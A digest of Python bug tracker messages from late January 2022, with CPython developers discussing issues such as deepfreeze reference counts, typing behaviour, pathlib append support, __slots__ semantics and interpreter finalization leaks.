open title: ParamSpec: Typo in doc string type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 22:35:22 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 28 Jan 2022 03:35:22 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643340922.76.0.371459377283.issue46558@roundup.psfhosted.org> Tim Peters added the comment: Changed the code so that inner() only references one of the O(log log n) powers of 2 we actually precomputed (it could get lost before if `lo` was non-zero but within `n` had at least one leading zero bit - now we _pass_ the conceptual width instead of computing it on the fly). ---------- Added file: https://bugs.python.org/file50595/todecstr.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 22:54:54 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 03:54:54 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643335314.49.0.56779392031.issue46553@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: I To be clear: I am okay with this patch, just not with making dataclasses import typing. -- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 23:15:13 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 28 Jan 2022 04:15:13 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1643343313.89.0.892956405092.issue46454@roundup.psfhosted.org> Change by Eryk Sun : ---------- Removed message: https://bugs.python.org/msg411776 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 23:15:39 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 28 Jan 2022 04:15:39 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1643343339.48.0.404273247734.issue46454@roundup.psfhosted.org> Change by Eryk Sun : ---------- Removed message: https://bugs.python.org/msg411287 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 23:17:20 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 28 Jan 2022 04:17:20 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643343440.26.0.373828098795.issue46560@roundup.psfhosted.org> Jelle Zijlstra added the comment: Thanks for noticing! Would you like to submit a PR to fix it? ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 23:31:29 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 04:31:29 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643344289.22.0.363778103448.issue46449@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +29155 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30976 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 00:05:36 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 05:05:36 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643346336.76.0.614745034296.issue46449@roundup.psfhosted.org> Kumar Aditya added the comment: I created a PR https://github.com/python/cpython/pull/30976 which adjusts _Py_RefTotal and refcnt of immortal codeobjects to account for Py_INCREF/Py_DECREF on codeobjects. With that patch refcnt is 8 and increases by 8 with each initialization of Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 00:29:37 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 05:29:37 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643347777.14.0.300938024128.issue46449@roundup.psfhosted.org> Kumar Aditya added the comment: Christian's solution seems better to me so I'll close my PR. Christian would you like to create a PR for it ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 00:43:03 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 05:43:03 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643348583.98.0.874007417998.issue46530@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset c27a33132be101e246ae2584f1826477357138d6 by Nikita Sobolev in branch 'main': bpo-46530: add `"thread_time"` to `test_time.test_get_clock_info` (#30913) https://github.com/python/cpython/commit/c27a33132be101e246ae2584f1826477357138d6 ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 01:00:56 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 06:00:56 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643349656.0.0.0306476402402.issue46530@roundup.psfhosted.org> Nikita Sobolev added the comment: Thank you! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 01:03:39 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 06:03:39 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643349819.52.0.635963747154.issue46530@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29157 pull_request: https://github.com/python/cpython/pull/30978 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 01:03:34 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 06:03:34 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643349814.49.0.97587145033.issue46530@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +29156 pull_request: https://github.com/python/cpython/pull/30977 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:06:14 2022 From: report at bugs.python.org (Maxwell Bernstein) Date: Fri, 28 Jan 2022 07:06:14 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors Message-ID: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> New submission from Maxwell Bernstein : Currently the descriptor (self) argument to __get__ is passed borrowed, since _PyType_LookupId returns a borrowed reference (see _PyObject_LookupSpecial and lookup_maybe_method in Objects/typeobject.c). This should instead own the reference. ---------- messages: 411978 nosy: tekknolagi priority: normal severity: normal status: open title: Descriptor resolution should own arguments passed to descriptors versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:08:38 2022 From: report at bugs.python.org (Maxwell Bernstein) Date: Fri, 28 Jan 2022 07:08:38 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors In-Reply-To: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> Message-ID: <1643353718.05.0.5758831689.issue46561@roundup.psfhosted.org> Change by Maxwell Bernstein : ---------- keywords: +patch pull_requests: +29158 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30979 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:16:40 2022 From: report at bugs.python.org (jiahua wang) Date: Fri, 28 Jan 2022 07:16:40 +0000 Subject: [issue25948] Invalid MIME encoding generated by email.mime (line too long) In-Reply-To: <1451039623.64.0.603876276349.issue25948@psf.upfronthosting.co.za> Message-ID: <1643354200.18.0.739202128845.issue25948@roundup.psfhosted.org> Change by jiahua wang : ---------- keywords: +patch nosy: +wangjiahua nosy_count: 3.0 -> 4.0 pull_requests: +29159 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30980 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:25:57 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 28 Jan 2022 07:25:57 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors In-Reply-To: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> Message-ID: <1643354757.3.0.177669992151.issue46561@roundup.psfhosted.org> Dennis Sweeney added the comment: Why? Callee-borrowing-from-caller is the established norm across the C API. You mention use-after-free, but can you elaborate on how that can happen in practice? https://docs.python.org/3/extending/extending.html?highlight=borrowed#ownership-rules says: """When you pass an object reference into another function, in general, the function borrows the reference from you ? if it needs to store it, it will use Py_INCREF() to become an independent owner.""" ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:56:03 2022 From: report at bugs.python.org (Julien Palard) Date: Fri, 28 Jan 2022 07:56:03 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643356563.86.0.424261717775.issue42238@roundup.psfhosted.org> Change by Julien Palard : ---------- pull_requests: +29160 pull_request: https://github.com/python/cpython/pull/30981 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:57:55 2022 From: report at bugs.python.org (Charlie Zhao) Date: Fri, 28 Jan 2022 07:57:55 +0000 Subject: [issue45735] Promise the long-time truth that `args=list` works In-Reply-To: <1636171321.93.0.670075505099.issue45735@roundup.psfhosted.org> Message-ID: <1643356675.04.0.140681959533.issue45735@roundup.psfhosted.org> Change by Charlie Zhao : ---------- pull_requests: +29161 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30982 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 03:44:50 2022 From: report at bugs.python.org (Russel Webber) Date: Fri, 28 Jan 2022 08:44:50 +0000 Subject: [issue31582] Add _pth breadcrumb to sys.path documentation In-Reply-To: <1506401240.1.0.91731713201.issue31582@psf.upfronthosting.co.za> Message-ID: <1643359490.53.0.254064410965.issue31582@roundup.psfhosted.org> Russel Webber added the comment: I agree wholeheartedly, an explantation of sys.path initialisation would be very helpful. I've seen too many hacks in end user Python code due to misunderstandings around sys.path initialisation and the available ways to customise sys.path. I'll work on this, try to write an easy to follow explanantion and see where the other documentation needs to be amended to point to a new section. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 03:46:04 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Fri, 28 Jan 2022 08:46:04 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643359564.68.0.563563719692.issue46553@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- keywords: +patch pull_requests: +29162 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30983 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 04:05:55 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 28 Jan 2022 09:05:55 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643360755.11.0.552845090112.issue46554@roundup.psfhosted.org> Serhiy Storchaka added the comment: I think it should be closed for the same reasons as #35095. It is not common enough case to complicate Path.write_text(), and you always can use open()+write(). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 04:19:19 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 28 Jan 2022 09:19:19 +0000 Subject: [issue46500] make timeit module accept files In-Reply-To: <1643008080.77.0.59543047068.issue46500@roundup.psfhosted.org> Message-ID: <1643361559.97.0.0922514301096.issue46500@roundup.psfhosted.org> Serhiy Storchaka added the comment: Usually, when you benchmark a non-trivial piece of code, you need also to specify a setup code. If the benchmarked code is large enough to be read from a file, the setup code should be read from a file too. The common practice is to write the benchmarked code as a function which can be imported and repeatedly executed. $ python -m timeit -s 'from mybench import test' 'test()' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 04:51:08 2022 From: report at bugs.python.org (Julien Palard) Date: Fri, 28 Jan 2022 09:51:08 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643363468.29.0.11445935726.issue42238@roundup.psfhosted.org> Julien Palard added the comment: New changeset 44afdbd5af4503e376148e9404b9c7a4f595b1fe by Julien Palard in branch 'main': bpo-42238: [doc] Avoid hardcoding fast-moving lines in susp-ignored.csv. (GH-30981) https://github.com/python/cpython/commit/44afdbd5af4503e376148e9404b9c7a4f595b1fe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 05:13:57 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 28 Jan 2022 10:13:57 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643364837.98.0.0360943174377.issue46560@roundup.psfhosted.org> Change by Alex Waygood : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python stage: -> needs patch versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 05:14:22 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 28 Jan 2022 10:14:22 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643364862.72.0.720189914684.issue46449@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +29163 pull_request: https://github.com/python/cpython/pull/30984 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 05:31:28 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Fri, 28 Jan 2022 10:31:28 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey In-Reply-To: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> Message-ID: <1643365888.24.0.285322757818.issue46548@roundup.psfhosted.org> Change by Ronald Oussoren : ---------- components: +macOS nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 05:47:46 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Fri, 28 Jan 2022 10:47:46 +0000 Subject: [issue46550] __slots__ updates despite being read-only In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> Message-ID: <1643366866.76.0.351190503757.issue46550@roundup.psfhosted.org> Ronald Oussoren added the comment: Python's is behaving as expected here (but see below): the slots definition tells the interpreter which attribute names can be set on an instance and "__slots__" is not one of those attributes in your code. "a.__slots__ += ..." will try to set the "a.__slots__" attribute (see Eryk's message for documentation on this) and that results in the exception you are seeing. What surprised me is that A.__slots__ is mutable at all, the value of that attribute during class construction affects the layout of instances and that layout won't change when you change A.__slots__ later on. That is: class A: __slots__ = ['a'] a = A() a.a = ... # OK a.b = ... # raises AttributeError A.__slots__ = ['b'] a.a = ... # still OK a.b = ... # still raises AttributeError I don't know if this should be considered a bug or that this is intended behaviour. ---------- components: +Interpreter Core -Library (Lib) nosy: +ronaldoussoren versions: +Python 3.11, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 05:56:33 2022 From: report at bugs.python.org (Keelung Yang) Date: Fri, 28 Jan 2022 10:56:33 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643367393.57.0.508373134381.issue46554@roundup.psfhosted.org> Keelung Yang added the comment: This shouldn't be limited logging. In unstable application scene, file should be append and then close immediately to avoid breaking filesystem (e.g. inode is not updated timely). Such as main.py file in MicroPython development board, user may disconnect USB or press reset at anytime without ejecting disk. Or in IVI system, some embedded devices, record should be appended immediately. And if path.write(append=) is not common enough, then what's about built-in function open()? What's the purpose of adding read/write functions to pathlib.Path? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 06:00:26 2022 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 Jan 2022 11:00:26 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643367626.62.0.525331320634.issue46528@roundup.psfhosted.org> Ken Jin added the comment: > IIRC, Carl got a lot of benefit out of reordering the opcodes in the main loop to put the most common ones at the top. I don't know if that is still relevant or whether computed gotos, when enabled, change that calculus. AFAIK, on nix systems with PGO, the order doesn't matter. Brandt did some interesting research on this earlier https://github.com/faster-cpython/ideas/issues/96. On Windows, it might be a different story. There are reports of up to 5% speedups in pyperformance just by moving LOAD_FAST and LOAD_GLOBAL out of the loop (to the top). See the last few messages in https://bugs.python.org/issue45116. I've heard from some people that MSVC's PGO doesn't deal with gigantic switch-case statements very well, though I can't confirm the veracity of that info. ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 06:16:37 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 11:16:37 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. In-Reply-To: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> Message-ID: <1643368597.45.0.18459311308.issue46541@roundup.psfhosted.org> STINNER Victor added the comment: > `_Py_Identifier` has been useful but at this point there is a faster and simpler approach we could take as a replacement: statically initialize the objects as fields on `_PyRuntimeState` and reference them directly through a macro. This change is going to break projects in the wild. Yes, people use the _Py_IDENTIFIER(), _PyUnicode_FromId() and other "Id" variant of many functions in 3rd party projects. Is it possible to keep runtime initialization if this API is used by 3rd party code? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 06:20:17 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 11:20:17 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643368817.23.0.154170458291.issue46449@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +29164 pull_request: https://github.com/python/cpython/pull/30985 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 06:34:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 11:34:37 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1643369677.06.0.677630105645.issue46458@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29165 pull_request: https://github.com/python/cpython/pull/30986 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 06:41:40 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 11:41:40 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643370100.91.0.815234790724.issue46449@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +29166 pull_request: https://github.com/python/cpython/pull/30987 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 07:17:28 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 12:17:28 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643372248.07.0.164783792405.issue46524@roundup.psfhosted.org> Kumar Aditya added the comment: Another solution would be to shard the tests on windows i.e. run tests on two different jobs concurrently, edgedb does this. See https://github.com/edgedb/edgedb/actions/runs/1746736086 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 07:34:44 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 Jan 2022 12:34:44 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643373284.84.0.528465202778.issue46524@roundup.psfhosted.org> Mark Shannon added the comment: It's plenty slow on linux as well. I like the idea of starting the slower tests first. The long tail of slow tests is annoying when running `make -j12 test`. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 07:36:52 2022 From: report at bugs.python.org (Keelung Yang) Date: Fri, 28 Jan 2022 12:36:52 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643373412.5.0.982273744505.issue46554@roundup.psfhosted.org> Keelung Yang added the comment: In file operations, write/modify/append, which one is generic/common? They're all. Modifying need more then one line code, but write/oppend needn't. Two lines are bad to readability and readability counts. How do you determine it's not common enough? There're many kind of users and application scene, and this feature is even not existed. Should we create a poll both to Python developers and it's users? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 07:41:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 12:41:43 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643373703.23.0.0717097461407.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 5a9e423473bf2c4eb32a0982e8d73420875db1da by Kumar Aditya in branch 'main': bpo-46449: deepfreeze get_code() now returns strong ref (GH-30987) https://github.com/python/cpython/commit/5a9e423473bf2c4eb32a0982e8d73420875db1da ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 07:42:34 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 Jan 2022 12:42:34 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643373754.28.0.997769223671.issue46329@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 89fd7c34520aac493a8784a221366ed04452612b by Mark Shannon in branch 'main': bpo-46329: Split calls into precall and call instructions. (GH-30855) https://github.com/python/cpython/commit/89fd7c34520aac493a8784a221366ed04452612b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 07:48:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 12:48:28 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1643374108.3.0.67457690201.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29167 pull_request: https://github.com/python/cpython/pull/30988 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:02:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 13:02:46 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643374966.89.0.964860206448.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: With my additional GH-30988 fix, msg411075 example no longer leaks :-) --- Loop #1: 2 refs Loop #2: 2 refs Loop #3: 2 refs ... Loop #98: 2 refs Loop #99: 2 refs Loop #100: 2 refs --- I close the issue. Thanks Christian and Kumar for the fix! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:04:47 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 28 Jan 2022 13:04:47 +0000 Subject: [issue46429] Merge all deepfrozen files into one In-Reply-To: <1642566696.59.0.965062027476.issue46429@roundup.psfhosted.org> Message-ID: <1643375087.1.0.0703133167228.issue46429@roundup.psfhosted.org> Change by Kumar Aditya : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:08:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 13:08:43 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1643375323.05.0.942343395619.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 9a241271139a317597aca71d5971346b2cfe7dbd by Victor Stinner in branch 'main': bpo-46417: _PyStructSequence_FiniType() updates _Py_RefTotal (GH-30988) https://github.com/python/cpython/commit/9a241271139a317597aca71d5971346b2cfe7dbd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:36:09 2022 From: report at bugs.python.org (Pedro Torres) Date: Fri, 28 Jan 2022 13:36:09 +0000 Subject: [issue46562] Add typeof or eum behavior for in the Typing module Message-ID: <1643376969.17.0.119723519052.issue46562@roundup.psfhosted.org> New submission from Pedro Torres : Currently, the addition of Annotated in PEP 593 on Python 3.9 allows adding arbitrary metadata for type hints. Let's consider the following time_available_online: list[str] = [ '1m', '5m', '1d' ] ``` Hour = Annotated(str, "time available online") ``` Another way to consider this is if the selection was an Enum, since we know the only available options that can be selected (ie. it is not all possible 'str', only the 'str' from a list, which can be defined by the user) It would save time and simplify things if the following was possible. --- from typing import Enum # we save time by not making a duplicate Class, or converting a constant variable to a Class ``` Hour = Enum[time_available_online, "time available online"] ``` ---------- components: Library (Lib) messages: 411995 nosy: Corfucinas priority: normal severity: normal status: open title: Add typeof or eum behavior for in the Typing module type: enhancement versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:38:31 2022 From: report at bugs.python.org (Pedro Torres) Date: Fri, 28 Jan 2022 13:38:31 +0000 Subject: [issue46562] Add typeof or enum behavior for in the Typing module In-Reply-To: <1643376969.17.0.119723519052.issue46562@roundup.psfhosted.org> Message-ID: <1643377111.76.0.706948492919.issue46562@roundup.psfhosted.org> Change by Pedro Torres : ---------- title: Add typeof or eum behavior for in the Typing module -> Add typeof or enum behavior for in the Typing module _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:39:06 2022 From: report at bugs.python.org (Pedro Torres) Date: Fri, 28 Jan 2022 13:39:06 +0000 Subject: [issue46562] Add typeof or enum behavior in the typing module In-Reply-To: <1643376969.17.0.119723519052.issue46562@roundup.psfhosted.org> Message-ID: <1643377146.12.0.940985022618.issue46562@roundup.psfhosted.org> Change by Pedro Torres : ---------- title: Add typeof or enum behavior for in the Typing module -> Add typeof or enum behavior in the typing module _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:50:38 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 13:50:38 +0000 Subject: [issue39511] [subinterpreters] Per-interpreter singletons (None, True, False, etc.) In-Reply-To: <1580484815.27.0.407070570821.issue39511@roundup.psfhosted.org> Message-ID: <1643377838.35.0.103294375343.issue39511@roundup.psfhosted.org> STINNER Victor added the comment: > On such platforms, the `PyGet_Foo` API can be on equal footing with the legacy `Py_Foo` statics, i.e. both would do the same thing. That's how I've done it in my experiment. The obvious problem is that on platforms without compiler support for TLS, `Py_Foo` would be unavailable, and that's probably a no-go for an API that wouldn't be deprecated. My GH-18301 PR uses "#define Py_None Py_GetNone()" which is backward compatible in terms of API. Py_GetNone() can have various implementations, it doesn't matter at the API level. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:55:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 13:55:58 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1643378158.09.0.69045809974.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: The negative refcount issue has been fixed ;-) At commit 9a241271139a317597aca71d5971346b2cfe7dbd, Python now leaks exactly 0 reference count and 0 memory block at exit: $ ./python -I -X showrefcount -c pass [0 refs, 0 blocks] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 09:19:20 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 14:19:20 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643379560.28.0.902117346463.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: Changes already done: * Macros converted to regular functions: * PyObject_GET_WEAKREFS_LISTPTR(); add internal inline _PyObject_GET_WEAKREFS_LISTPTR() * PyType_SUPPORTS_WEAKREFS(); add internal inline _PyType_SUPPORTS_WEAKREFS() * PyObject_CheckBuffer(); no fast internal API * PyObject_IS_GC(); no fast internal API * 